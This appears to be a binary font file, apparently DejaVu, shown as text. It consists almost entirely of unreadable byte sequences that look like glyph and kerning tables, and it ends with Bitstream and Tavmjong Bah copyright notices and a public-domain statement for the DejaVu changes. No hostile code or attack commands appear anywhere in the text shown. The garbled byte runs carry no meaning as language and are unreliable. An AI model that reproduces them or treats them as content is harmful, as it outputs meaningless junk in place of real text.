/�/�/}/�o	��	��	��	}�<���V�JN��1X?�,X�X��uX`���X�N�X�XY�Y�Y��XLX^X:��Y?Y0��YLX;X�XoX2X1�����X���X�XB.��X;X��X����:��j������:��j������:��j������:��j������:��j������:��j��K�H�����K�H�����*�*���*��*�*���*��*�*���*��*�*���*���}3}�}3}�}3}�}3}��j����j��)�)���k��)�)���k��)�)���k��)�)���k��������:��j�����8�����������k����"����"����"����"��C���:��j��:��j��C���:��j���p�*XX��XiXXX��XX��XX��X��X��XX����9��p��9lpl��"��9lplC���:��j��9�p�����:��j��1�J�����:��j������:��j��*�*���*��*�*���*��*�*���*���}3}�}3}��j����j��	��
3����#��	��
3����#��	��	������	��	������f���^�����f���^������uBu�����uBu/����K�H�����5k�k����������k�����p�������S�I��������:��j��1�J�8�������"��C���C���:��j����.�.��������T�T4d���d��d�d����:�D��_�j�
�d�:�}����������d�}�x�zd8�v�v��ddD�d}��d,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,�,��������c�3s$f"���=�3�Lr��������Drl���K{��fq���o�/�q������5���	"����q�q�q��+o�7���=HVhL�=�Xy}��s)����3s���\��?�u�����Ls��Ls������y�D{=�{\�{�fqq�q�/q�9�9����9�����q�qJ�+o#7��=�V�;�=3X�k��Z�qA�j����d�����9���*��}����*�f�C���������	���uK�	��5k��	������*��}	��f��u����K�5k4��V����V��4����j����4��������/������4��4��V��/��/��@�b���b���@�?���@�	$�6�C�	;�C�	$�@�@�b�	;���6�@�C�
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
������������������������������������������������������������������������������������������������������/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�@�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�W�W�W�W�W�W�W�W�X�	xKW=	@�W�W�	Y_W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�W�	Y_W�W�W�W#W�W���W�W�W�W:	Y`W:W=W=W=W=W=W=W������s����������������N��������:��j��H������k����:��j�����:��j����:��j��*���*��*���*��*���*��*���*��_��9��x�x�x�x�x�x�x�xvx�xvx�xvx�x�xvxvx�x�x�x���,���p�������:��j��j��9�J��q�q9��O�9��9���������������:�:��:���q������d=d��d���=������;�;��;��;�;��;���q������;�;��;���q���������������=������x�x��x���������=�������������=����D=D��D��;�;��;��=����������=�=��=���p�����=����=�����q������=�=��=��=�=��=��.�.��.���q�������q��������,�,�,�,�,�,�,�,���.�j��3}3}3}3}3}j��j��j��j��j��
3����#��
3����#��
3����#��	������	��������^�����Bu����H�����H�����H������k�����k����n�����)���k������k������k��)���k��)���k��)���k���p������p������p������:��j���:��j���:��j��55?�?�4�������#������������������	G��	G��	G�	G�PRPRPR��������������������?�
�0�$��%��*K-r294K7�D9��:��;��<�
R&Y��\������������������9�9�9�9�9��
�&�&�&�&�&�������������K&�D:�
$��$��$��$$9$&��$*��$2��$4��$7�a$9�}$:��$<�a$F��$G��$H��$I��$R��$T��$W��$Y��$Z��$\�u$m��$�9$�9$�9$�9$�9$���$���$���$���$���$���$��a$���$���$���$���$���$���$���$���$���$���$��u$��u$�9$�9$�9$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$$�a$%��$&�a$'��$6��$7��$8�a$9�u$:�a$���$���$���$���$���$�a$��$��$��$�a$��u$	~��$	��$	���$	���$	���$	���$	�a$	�u$
���$�$/%&��%*��%2��%6��%9��%:��%<��%m��%}��%���%���%���%���%���%���%���%��%��%��%��%��%��%��%��%��%��%��%��%��% ��%"��%6��%8��%:��%���%���%��%��%	~��%	���%	���%	�%
���%��%��&<��&m��&}��&���&8��&:��&��&	��&&'$��'9��'<��'m��'}��'���'���'���'���'���'���'��'��'��'8��':��'�'	�'
���'��'�D)��)�a)$�D)6��)7��)D�D)H��)L�k)R��)U�k)X��)\�D)��D)��D)��D)��D)��D)��D)��D)��D)��D)��D)��D)���)���)���)���)���)���)���)���)���)���)���)���)���)��D)��D)�D)�D)�D)�D)�D)�D)��)��)��)��)��)�k)��k)��)��)��)�k)�k)�k)��)��) ��)"��)$��)&��)(��)+��)-��)/��)1��)3��)5��)9�D)���)���)��)��)�)��D)	�D)
���)��*7��*<��*m��*}��*���*&��*:��*
���*��*��+��+
���+��+��-��-$��-m��-}��-���-���-���-���-���-
���-��-��.�).$��.&��.2��.7�a.8��.:��.<��.D��.H��.R��.X��.\�k.m�}.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.��k.��k.��.��.��.&�a.0��.1��.:��.
���.��/��/$//2��/7��/8��/9�/:�D/<��/H��/R��/X��/\�D/�//�//�//�//�//���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/���/��D/��D/��/&��/0��/1��/:��/
��a/��292��2��2$��29��2;�}2<��2m��2���2���2���2���2���2���2:��2
���2��2�D3��3��3$�}3<��3D��3H��3L��3Q��3R��3U��3V��3X��3m��3��}3��}3��}3��}3��}3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3��3
��3��3��3!��3#��31��3:��3
�&3&3��494
���4��4�}5��5��5��5$��5&��57�k59��5:��5<�}5D��5H��5R��5X��5\��5m��5}��5���5���5���5���5���5���5��}5���5���5���5���5���5���5���5���5���5���5���5���5���5���5���5���5���5���5���5���5���5��5��5��5&�k51��5:�}5
��k5�}5��6$&6�&6�&6�&6�&6�&7�D7�
7�7$�a7&��77��7D��7F��7H��7L��7R��7U��7V��7X��7Z��7\��7m�D7}��7��a7��a7��a7��a7��a7���7��7���7��7��7��7��7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7��7��7��7��7��7��7��7!��7#��7&��71��7��7��8=��8?��9��9��9�Y9$�}92��9D�a9H�a9L��9R�a9X�u9\��9m�N9}��9��}9��}9��}9��}9��}9���9���9���9���9���9��a9��a9��a9��a9��a9��a9��a9��a9��a9��a9��a9��a9��a9��a9��a9��u9��u9��u9��u9���9���9�a91�u9��:��:�:��:$��:D�}:H��:L��:R��:U��:X��:\��:m��:}��:���:���:���:���:���:��}:��}:��}:��}:��}:��}:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:��:��:��:1��:
���:��;��;&�k;2�};7��;H��;m��;��k;��};��};��};��};��};���;���;���;���;�k;�k;��;&��;
��a;��;��<�
<�a<��<$�a<&��<2��<D��<H��<L��<R��<X�<m�<}�k<��a<��a<��a<��a<��a<���<���<���<���<���<���<���<���<���<���<���<���<���<���<���<���<���<���<���<���<���<��<��<��<��<��<��<��<1�<
���<��<��=��=
���=��=��H[��I��I�kI��IW��IZ��I\��Im��I}��I���I���I'��I
�AI�ND��NH��NR��NX��N\��N���N���N���N���N���N���N���N���N���N���N���N���N���N���N���N���N���N���N���N���N���N��N1��Q
��kQ��Q��R&R��R[��R
��kR��R�}U�}U�DU��UF��UG��UH��UJ��UK��UP��UQ��UR��UT��UU��U[��Um��U���U���U���U���U���U���U���U���U���U���U���U��U��U�HU��U��U
��U��U��UVU��Y��Y�aY��Ym��Y}��Y��Y��Z�DZ��Zm��Z}��Z�)[F��[H��[R��[���[���[���[���[���[���[���[���[���[���[��[��[��\��\��\�k\m��\}��\��m%��m&��m'��m*��m-��m7��m9��m:��m<�kmY��mZ��m\��m��m���m��km���m���m��m��m��m��m&��m:�k}$��}%��}&��}'��}-��}2��}7�D}9�N}:��};��}<�}Y��}Z��}\��}���}���}���}���}���}���}���}���}���}���}���}��}���}���}��}��}��}&�D}:�����������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���\�u�m����9��9��9��9��9���������������������������a�������������������������������������������u���u��9��9��9�������������������������������������������������������������������$�a�%���&�a�'���6���7���8�a�9�u�:�a�������	~���	����	����	����	�a�	�u�
������/����������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���\�u�m����9��9��9��9��9���������������������������a�������������������������������������������u���u��9��9��9�������������������������������������������������������������������$�a�%���&�a�'���6���7���8�a�9�u�:�a�������	~���	����	����	����	����	�a�	�u�
������/����������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���\�u�m����9��9��9��9��9���������������������������a�������������������������������������������u���u��9��9��9�������������������������������������������������������������������$�a�%���&�a�'���6���7���8�a�9�u�:�a�������	~���	����	����	����	����	�a�	�u�
������/����������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���\�u�m����9��9��9��9��9���������������������������a�������������������������������������������u���u��9��9��9�������������������������������������������������������������������$�a�%���&�a�'���6���7���8�a�9�u�:�a����	~���	����	����	����	����	�a�	�u�
������/����������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���\�u�m����9��9��9��9��9���������������������������a�������������������������������������������u���u��9��9��9�������������������������������������������������������������������$�a�%���&�a�'���6���7���8�a�9�u�:�a�������	~���	����	����	����	����	�a�	�u�
������/�
����������<���m���}�������:���&�$���9���<���m���}������������������������������������8���:�����	��
��������D�9�������$���9���;�}�<���m���������������������������:���
��������D�9�������$���9���;�}�<���m���������������������������:���
��������D�9�������$���9���;�}�<���m���������������������������:���
��������D�9�������$���9���;�}�<���m���������������������������:���
��������D�9�������$���9���;�}�<���m���������������������������:���
��������D�=���?���=���?���=���?���=���?����
��a����$�a�&���2���D���H���L���R���X��m��}�k���a���a���a���a���a����������������������������������������������������������������������������������������������������������1��
�����������k����
�����D�&�
����������[���[���[���[���
����������
��k�������&����[���
��k�����}�&����[���
��k�����}�&����[���
��k�����}�&����[���
��k�����}�&����[���
��k�����}��������k�m���}�������������k�m���}���������������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���\�u�m����9��9��9��9��9�����������������������a�������������������������������������������u���u��9��9��9�������������������������������������������������������������$�a�%���&�a�'���6���7���8�a�9�u�:�a�������	~���	����	����	����	����	�a�	�u�
������/����������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���\�u�m����9��9��9��9��9�����������������������a�������������������������������������������u���u��9��9��9�������������������������������������������������������������$�a�%���&�a�'���6���7���8�a�9�u�:�a�������	~���	����	����	����	����	�a�	�u�
������/����������$9�&���*���2���4���7�a�9�}�:���<�a�F���G���H���I���R���T���W���Y���Z���m����9��9��9��9��9�����������������������a������������������������������������������9��9��9����������������������������������������������������������$�a�%���&�a�'���6���7���8�a�:�a�������	~���	����	����	����	����	�a�
������/�<���m���}�������:���&�<���m���}�������:���&�$���9���<���m���}������������������������������������8���:�����	��
��������D�$���9���<���m���}���������������������������:���
��������D�[���7���<���m���}�������&���:���
�������������$/�2���7���8���9��:�D�<���H���R���X���\�D��/��/��/��/��/�����������������������������������������������������������������������������������������������D���D����&���0���1���:���
��a�������$/�2���7���8���9��:�D�<���H���R���X���\�D��/��/��/��/��/�����������������������������������������������������������������������������������������������D���D����&���0���1���:���
��a���O�?

��k
��
��������$��&��7�k9��:��<�}D��H��R��X��\��m��}����������������������}���������������������������������������������������������������������&�k1��:�}
��k�}���}�D��F��G��H��J��K��P��Q��R��T��U��[��m����������������������������������������H����
������V��������$��&��7�k9��:��<�}D��H��R��X��\��m��}����������������������}���������������������������������������������������������������������&�k1��:�}
��k�}���}�D��F��G��H��J��K��P��Q��R��T��U��[��m���������������������������������������������
������V�� $& �& �& �& �& �&"$&"�&"�&"�&"�&"�&&�D&�
&�&$�a&&��&7��&D��&F��&H��&L��&R��&U��&V��&X��&Z��&\��&m�D&}��&��a&��a&��a&��a&��a&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&��&��&��&��&��&��&��&!��&#��&&��&1��&��&��0=��0?��:�
:�a:��:$�a:&��:2��:D��:H��:L��:R��:X�:m�:}�k:��a:��a:��a:��a:��a:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:���:��:��:��:��:��:��:��:1�:
���:��:��?��?
���?��?��
�$��
�%��
�*K
�-r
�29
�4K
�7�D
�9��
�:��
�;��
�<�
�R&
�Y��
�\��
����
����
����
����
����
��9
��9
��9
��9
��9
���
��&
��&
��&
��&
��&
����
����
��K
�&�D
�:�
�$��
�%��
�&��
�'��
�)��
�*��
�+��
�-��
�.��
�/��
�2��
�3��
�4��
�5��
�;��
�=��
�I��
�Q��
�R�k
�U��
�Y��
�Z��
�\��
����
����
����
����
����
���}
����
����
����
����
����
����
����
����
����
����
���k
���k
���k
���k
���k
����
����
���
���
���
��
����
����
�
��
���
���
���
���
�?��
���$&%��&��'��)��*��+��-/.��/��2��3��4��5��7��9��:�;��<��I��Q��R��U��Y�Z�<\���&�&�&�&�&�&�������������������������������������������������������������������
����������&��:�����D�
�$�a&��7��D��F��H��L��R��U��V��X��Z��\��m�D}����a��a��a��a��a������������������������������������������������������������������������������!��#��&��1�������)$��&��2��7�a8��:��<��D��H��R��X��\�km�}�����������������������������������������������������������������������������������������������������������k��k������&�a0��1��:��
�����D��H��R��X��\�������������������������������������������������������������������1��Rj��Sj��Tj��Uj��Vj��Xj��Yj��Zj��[j��\j��^j��_j��`j��aj��bj��dj��ej��fj��gj��hj��DDDD��Dl�(����		D	l	�
<
���
P�tH\�$h��84�|�\�X��l���|�T h!`!�"T#4$�%�&X''x'�((\(�(�**�+4+�,�-8..x.�/D040p141�2P2�3�45`5�6`7�9�;,<�=�>�>�?�@@@@@�A�BXCpD�D�F$F�HH�I�I�JKXK�LL�M,M�N8N�OHOtO�P,P�Q�Q�Q�Q�R�R�SS8ShS�T�U�U�U�U�VV@VXVpV�V�W�W�W�W�XXDXtY<ZtZ�Z�Z�[[$[�\�\�]]<]h]�]�_�_�_�_�``,`D`\`�`�bTblb�b�b�b�ccpd�d�ee4ede|ffLfxf�f�f�ggg4gLgpg�g�g�g�g�hh4hDiii<i`i�i�i�i�i�jj4jXj|j�j�j�j�kkkHk�ll�l�l�mm8m\m�m�m�m�n,nPntn�n�n�n�o�o�p,pDphp�p�p�p�qlq�r rDr\rtr�r�r�s�ttHtht�t�t�t�u�v�v�v�v�ww0wXwpw�w�w�w�xx,xTxlx�x�x�yXy�z zDztz�z�z�{{${<{T{l{�{�{�{�||4|L|d|||�|�|�}<~~�~��� ���X������x�����t�����8���p�<�P� �|���������������H�`�x� ���d�$����������@���l����(���`�������������,���4���4���� ������������(�@�X�p����������0�P�p������������$�<�T�d�|�������������������\�t������������,�D�\�t���$���������4�L�d�|������������$�<�T�l��������������,�D�\�t���������������<�T�������������������������,�D�\�t���������(����x�X�<���D���@���L���(��Œ�L�\���p�Ũ�h�$�L���(Ɉʬ�D��̔��μ�l�P����$�4�P�ԤՈ�@�������@��ڄ���\�ܐ�����ߴ��L�������x����X���X���@���T�`������t���h����T���������$���H���t������|�<�L����P���������8��(�l�@�`�d�$|�	d	�	�	�


(
`
�0�Dl��
l
�$Td���� ���(Lx� ��T���8`�0@t�L�������P����L�4H\��|��4Xt����t��8T����Lp���� , h � � �!!!(!<!�!�!�!�""\"�"�"�#$#�#�#�#�#�#�$$$8$`$�$�%$%�%�%�&&&P&h&|&�&�'4'H'\'x'�(((D(T(d(�(�(�)$)4)D)x)�)�)�)�)�*(*X*p*�*�*�*�*�++ +8+H+X+�+�,,,,,�,�,�-`-p-�-�-�...�.�.�/l/|00�0�11 181P1h1�2�3l3�4�5�6D6�7�7�8X8�8�9|:8:H:�;X<<�<�=�>D?P?�@x@�@�@�@�@�A0BB�C`C|C�D\EE�FpGG�H\HlIIxI�J`J�K�L�M@M�N�OhO�PPQQ�RHR�SPS�TXUU U0U@U�VV,V<VLWW�X(X8XPXhX�Y Y�Y�ZpZ�Z�Z�Z�[H[�\H\`\x\�\�\�]x]�]�^L^\_P``�`�a�a�a�bbb`bpb�b�cc�c�d0d�d�eTe�e�f`gg�hhhxi@i�jj�j�k�l`l�mm�nn�n�n�o8oHoXo�o�p�p�p�qxq�r@r�r�sDs�t�uu4u�vxv�w4wDwTwdwtxx�y4yLydy|y�z�z�{\{�|�|�}4}t}�~(��p��������x�������4�L�d������p���������|��`���,�T�|������������(����P�����T���p���4�L�d�����8��������X���4�������(�����(������������\������������ �����l�h����������8�����4���$�`��������<�L�x������� �D�h�x�������������(�8�P�h�����������,�D�\�t�������������4������������t���$�t���h�8������|�8���|��� ���8���D�T�d���d���0����t���,�<�L�������H���������t���<�����`Œ��À���8�\ļ�pż����(Ǩ�Ș���t��0ʌ�8ːˠ��̠��ͤ���L����τϼ����D�X�����lѸ�4�|���Xӄ���p���(�H���P֤֔�hװ�`ج���$٬ټ�L��ۄ����L����8ݰ�4�D���8�\߄�����H�����|������|�������T�����@�|�d������L���p�0�p���l���D� �`���t�������d�����������d������@�`�����\��������,�D�`�x���������@�X������ ���������@�X������ �8���T�����`�����p��@\�dx�@\��`�L��4�� Dx�	�	�	�

,
D
d
|
�
�
�
�
�$<Tl�����4Ld|�����

,
L
d
�
�
�
�
����� 8P�|�����$<Tl�����Ld��\|�����,<L\l�l�����(p�@����4���@�L�0��|�t� L �!!�!�"�"�#4#�#�$L$�%h%�&&d&�&�'T'�((,(l(�(�)4)�)�*\+ +�,�-@-�.�/�0(0�1�2p33�4P5 5�6�7X7�8�9X:8:�;�<d= >>�>�?4?�?�@,@�AA�A�B\B�C8C�DhD�EE�FF�F�G�HHhH|H�I,I�J$J�K4K�L�MNNxO`PpP�Q$QtQ�R0R�R�SLStS�THT�UU�U�V0V�V�W0W�X8XxX�X�Y`Y�ZZtZ�[<[�[�\\X\�]]X]�^<^�__�_�`d`�aHa�a�b�b�cPc�ddpd�e<e�ff�gg�g�hlh�i8i�jjxj�k<k�l$l�l�m`m�nXn�o o�o�p,pxp�p�qq$q�q�q�q�rHr`rxr�r�r�r�r�ss s8sPshs�s�s�s�s�s�t$tDtdt�t�uu\u�u�u�vv8v\vtv�v�v�v�v�v�wwpw�w�w�xx4xLxdx|x�x�x�x�x�yy$y<yTyly�y�zz0z@zXz�z�{D{\{t{�{�||$|<|T|l|�|�|�|�|�|�}},}D}\}t}�}�~~~0~�~�@X����������������0�H�`�x��������������������4��������h�������� �8�P�h��������������(�@�X�p����8�P�����������0�H�`�x������������ �8�P�h�������4�T�����h������(�����������0�H�`�����D�������p��������$�<�T�l��������������,�D�\�����$�<�������0�������������0�H�`�x������������X����h�����T�l�����4�L�d�|������������$�<�T��� �8������ �8������������$�<�T�l��������������t�����,������x������x�����\�t�����4������������P�h����������x����$�����8�P�h�����\�����@�X�����4�D�T�l������������������� �8�P�h���������<���h������������,�h��������(�d�����h�����0�H�`�x������������4�d�����4�\������\�����@���P���������P�����x�P�x������h�D������`� �DÀÐ���������`ĸ�H��<�tƸ�(ǘǨ���(Ȅ����(�xɘɨ�����<�Lʀ���H˘����h̴̘����8�p͠���0���8Ϥ����H���PѸҐ���\���x�՜�0�Tֈ�$׸�<ؤ����|ټ��T����Xې�ܔ�����(�<�P�d������h�x޸�D߀���H���\���0�t��H������p�������x����|����\���<�����<����P�����$�D�p���������0�H�`�x��������� �8�P�h����������(�@�`����������(�@�X�p����������0�H�`�x���������(�@�X�p����������0�H�`�x��������� �@�X�p�������������0�H�`�x������������ �@�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p���������������(�@�X�p�������������0�H�`�x���������� 8Ph������(@Xx����� 8Ph������0H`x����� 8Ph������(@Xp�����0\�����(@Xp�����$<Tl�����		 	<	X	p	�	�	�	�	�


4
P
l
�
�
�
�
�$<Tl����� <Xt�����

 
8
P
l
�
�
�
�
�4Ld|����0H`x�����,Hd������� 8H`p������(@Xp�����0H`x����� 8Ph������(@Xp�����0H`x�����0@P���0H`|�����4Ldt�����4Ld|�����4P`|������,HXt���DT���0l��`�  L �!(!h!�!�!�"@"X"X"X"X"X"X"X"X"X#�$�%%,%L%h%�%�%�&4&�&�&�'p'�'�(D(p(�(�(�)()X)p)�)�**H*x*�*�*�++ +D+�+�,,@,h,�,�--T-�-�.$.$.$.$.$.$.$.$.$.$.$.$.$.x.�/�0,0�0�1�2 2T2p2�2�33�3�3�3�3�3�3�44 444H4\4p4�4�4�4�4�4�4�55$585L5`5t5�5�5�6$6�7d7�88�99�:�;t;�;�=�=�>D?�@lAA�BB�C4ChC�DLD�D�D�EE@ExE�E�F�G�HHIDI�JxJ�J�J�K�L�M4M�M�N�O0PP�QQPS�T�UTU�VdW|XxY(Z@Z�[�[�\t\�]]t]�]�^�^�^�^�_�`�a a�bdcDcpd�ee�f<f�g@g�g�h�ii�i�i�jPj�j�k0k\k�l�m0mhm�nhn�n�n�o o@o`o�o�o�o�pp p@p`p�p�p�p�p�qqq(q@q`q�q�q�q�q�q�rrr(r8rPrpr�r�r�r�r�ss s8sXshsxs�s�tu�vxv�v�ww$w�x�y4y�{|(|X|�|�|�}4}�~(~�h���H���������`���l�0����h����� �X���������@���T���l����,����4�X�t�������<��������l���T������T����L������L�����D�����<������X������\����T�������T�����8��0������x���,������T���d���0���X�����P���H���P������T����T������X�l�|��������\�|���L��������l������@�����������t�����������4�L�������0����T��������h���p������D�,�������(�@�`���������@�����8�x������l�ń���<ƨ�8����Lȴ��`ɤ�,ʘ���@ˬ�̘����xμ�ϐ��TЌ���0��LҼ�,�pӴ� Ԍ���0լ�,֘��d�|����`ؔ�������ڔ�d� ��ݼޠ�`��d���<�x�������<�l�����\���x�������P��(�x�����L�����0�\�� �T��� �d�����@���������h����8���X�����p���X���T���T���D���T����x����,�P�t���P�����4����t���P��� �����0�\������(����(Px��4Xx��h��X�
p
�P`p���P���

0
h
�
�
�
�(\��@���<h �(��,��,�"�%'t'�'�'�'�((P(�(�(�)<)�)�)�**<*`*�*�*�*�++4+X+|+�+�+�,,(,P,|,�,�--,-T-|-�-�-�.$.T.�.�.�.�/(/P/x/�/�/�00H0t0�0�0�11D1t1�1�22D2x2�2�33T3�3�3�4(4\4�4�4�5585`5�5�5�66@6l6�6�6�7,7X7�7�7�88`8�8�9989h9�9�::L:�:�;4;d;�;�;�<<0<p<�<�<�<�<�==4=P=t=�=�=�=�>>4>P>l>�>�>�>�>�??0?L?h?�?�?�@�B<CCC(CDCXClC�C�C�C�DD DDD`D�D�D�EPE�F�GtG�I�I�JJ JLJhJ�J�J�KK,KHKpK�K�K�LLLHLdL�L�L�L�M M<MhM�M�M�NNHN�O,O�P�Q@Q�R`R�SSlS�T0T�T�T�UU�U�V,VXV�V�V�W$WhW�W�W�W�XXDXpX�X�X�Y@YlY�ZZ@Z�Z�[[�\\�]](]P]x]�]�]�^^0_ _�`Di(llDl�l�m\m�n�o�o�p�su�v,v�wwpx�z|z�z�{�|�}X}�~�|�@�����,���4���<������(�p���<������������$�D�d���������\�x����T���D����l������� ���D�$���h��h����p�����`�|�����l�d�������(���@���(���D�t������� �����8�������������� � �D�x�h�<�HȀ�����x��̜͐���D�Ҡ�`���T�pԘ԰������x���L�D������X������p����x�����t��������$�l�����4�x��8����D�������t������� �����\�`�h	�
l�h�
T
�@���8h�H,����D�\�x8�D� 0 � �!P!�"l"�##X#�$�&0($)P+�,�/X4�5�848�9�:�<=�>�@XA�CC|C�DPD�EE8ETEpE�E�FF,GG�H\H�I@J`KHK�L$L`L�L�L�MMDMlM�M�M�NTN�O4O�Q Q�R�TTT�WX�ZZ�[�]]�^�_�`�a�cd8d�ehf0f�glh4h�i�jLkk@klk�k�k�l�l�l�m$mxm�m�nn npn�n�oodo�ppPp�p�qDq�rr�ssLs�t0t�u<vv�w�x�y|y�z<zxz�z�{{0{H{`{�||�}�~�<���L�����$�`�����|�|������������0�D�`�|��������0�D�`�|��������0�L�p��������<�p����������� �D�p��������$�P�|��������@�d��������@�l������4�p����������� �D�p��������$�P�|��������@�d��������@�l������4�p��������$�P�|������,�`�������0�T��������@�t������D�������,�p����������� �D�p��������$�P�|��������@�d��������@�l������4�p��������$�P�|������,�`�������0�T��������@�t������D�������,�p��������$�P�|������,�`�������0�T��������@�t������D�������,�p������� �L��������P�������0�l������D�������,�p������`�����$�p����P���`�(����8�t������@�t������h�(������p���X�������<���d���x������D�T�l�������0�H�`�x�`�,�|��Ő�Lư�ǐ�Ƞ�0Ɍ���Xʼ��4�L�d˨���8̈��|�Ψ�,�tϸ��|���$ќ�����Ԡ�pռ��L֔���$׀ר����$�P�|ب����Lلټ����H�tڜ����,�\��,�hܬ����<�`ݜ���$ޔ���,���8�H�����L���h���L���|����L���H�\��4����h���x��(�� �\��<���(����8����X���h����L����P������D����\�������������L�������$�4�D�0���D���4p�8l�4D�`,l|�X��	l
P
��\
@D���dt�$�<(h��<\|�����4Ld|�����$<Tl������,D\t�����4Ld|�����$<Tl������,D\t����8HX������� 0@����� 0@P���� 0@P��<X|���  8 ` p � � �!|","D"\"�#<#�$$t$�%%P%�%�%�&&x&�'',(�))x)�)�*h*x*�*�*�*�++8+`+�+�+�,,$,D,h,�,�,�,�-(-T-�-�-�..L.|.�//�0,0<0�0�11l2H2�3�3�4p4�545�6 6�77,7<7�7�7�8 8P8|99�:@:�;@;�<$<�=H=�>>t>�?8?X?x?�@$@4@\@�AAA|A�BB�CHC�DDpD�EtE�FdF�G@G�H$H4H`H�H�IILIxI�I�I�JJ$J8JLJ`JtJ�J�J�J�J�KK K4KHK\K�K�K�K�K�LN�Q\TV�WWtW�X�X�Y\Y�Z`Z�[[�\4\�]]l]�^P^�_ _�`8`�a,a�bbpb�cDc�d0d�d�ele�f\f�g0g�hHh�i�i�jXj�k k�k�lHl�mm�m�n<n�oo�p(p�q(q�r$r�s,s�t8t�u\vv�w`x x�y�zd{{�|X} }8}l}�}�~<~d~�4|���@�X�p������������(�@�X�t������������ �8�P�h��������������(�@�X������$�<�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�T�l��������������,�D�\�t�������������4�L�d�|���8�H�X�p�������������0�H�`�x�����0�H�`�p��$�4�L�d�|������������$�<�T�l���������$�4�D�\�t�t�t�t�t�t�t�t�t�t�t�t�t�t�t�t�t������T�h�������������4�H�`�t��������������(�@�X�p�������������,�D�\�t�������������4�L�d�|���������������l�����������@�X�p�����������x��0�H�`�x���d������������������x�����������p���X�p�������������0�H�`�x���T���H�X����D�T���d����$�<�T�d�����(�8������������������(�@�X�p���,�,�,�,�,�,�����l�����(�X�����\�x������H���4�|����t������D�����x����(�p���������(�D�`�|��������0�X���������$�L�t��������D�l��������8�`��������,�T���������$�L�t��������@�l��������4�`��������,�T�|������� �L�t��������@�h��������4�\��������,�T�|¤��À���,�h���0�|����L��DŽǼ�0�l���(�p�ʰ�(���<̤�l����tθ���4��\��D��l����|��� �d�tՄՔդմ�����������$�4�D�T�d�tքִ֤֔�����������$�4�D�T�d�tׄהפ״�����������$�4�D�T�d�t؄ؔؤ��P���t��0ۼ����`�p݀ݐݠݰ���������� �0�@�P�`�pހސޠް���������� �0�@�P�`�p߀ߐߠ߰��������� ���D�\����t���,�D�������(�@�X�h���l���p�����d�������������(�@�X��X���8�����,��\�������L����������lLH�	
���l����< �"p$p&�)(+�.�0�2�4�7p:4=<@l@�@�ALBCD@E�GpG�H�I�J�L`NPP�Q�ST�V<X8Zl[h\�^$_�a�df�g�i4j�l�o(q�tHu�w|yl{�~$�����������l�0� �P���h�D�@���������������t�T��������T�<�P���(�8�$�������<���|�L�������������@�����,�����x���h�p���h��������ĸŴƈ�,�h���(Ȍ��\ɸ��$��4�T�T�T����جٰڄ���ݤބߐ�p��l����`� �����|�P�d�<����������������������|���d���t�XX$d���`
�
,���l,����L� `!!@!�"@"|"�"�"�##D#h#�$$,$<$�%�&8''' '0'@'�'�'�'�(( (8(P(h(�(�(�(�(�(�))0)P)p)�* *�*�*�++$+@+\+x+�+�+�+�,, ,<,X,t,�,�,�,�---4-l-�-�-�.. .8.X.x.�.�///$/</h/�/�/�00l0�0�0�0�0�11101H1�1�1�2�3(3�4 4�4�5(5X5�5�6,6x6�77X88�9T9�::`:�;�<8<�<�=T=�>>p>�?t?�@�AA�BBxB�C�D,D�E4E�FF�G$G�HH`H�I,I�J$J�K|L$L�L�MXM�N�O,O|O�P$P�QQ�RR�SSdS�TTdT�UU�U�VhW,W�X�YDY�ZXZlZ�Z�Z�Z�[ [D[h[�[�\4\p\�\�]],]D]\]t]�]�]�]�]�^^<^T^l^�^�^�^�^�__,_D_\_t_�_�_�_�_�```4`L`l`�`�`�`�`�aa$a<aTala�b0b�c$c<cTclc�c�c�c�c�c�dd,dDd\dtd�d�d�d�d�eee4eLede|e�e�e�e�ff,fLflf�f�f�gDh<hPh�h�h�ii`ixi�jhk�mLm�n�o�o�o�p<p�qLr$ss8s�t(t�uPu�vpww�x\x�y�zz�{${�{�mT+h�>�2��:`
��
�(Z4;b;�;�	0	�	�	�	"	F	m	"�	:�	
%:	h:�	;�	;�Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
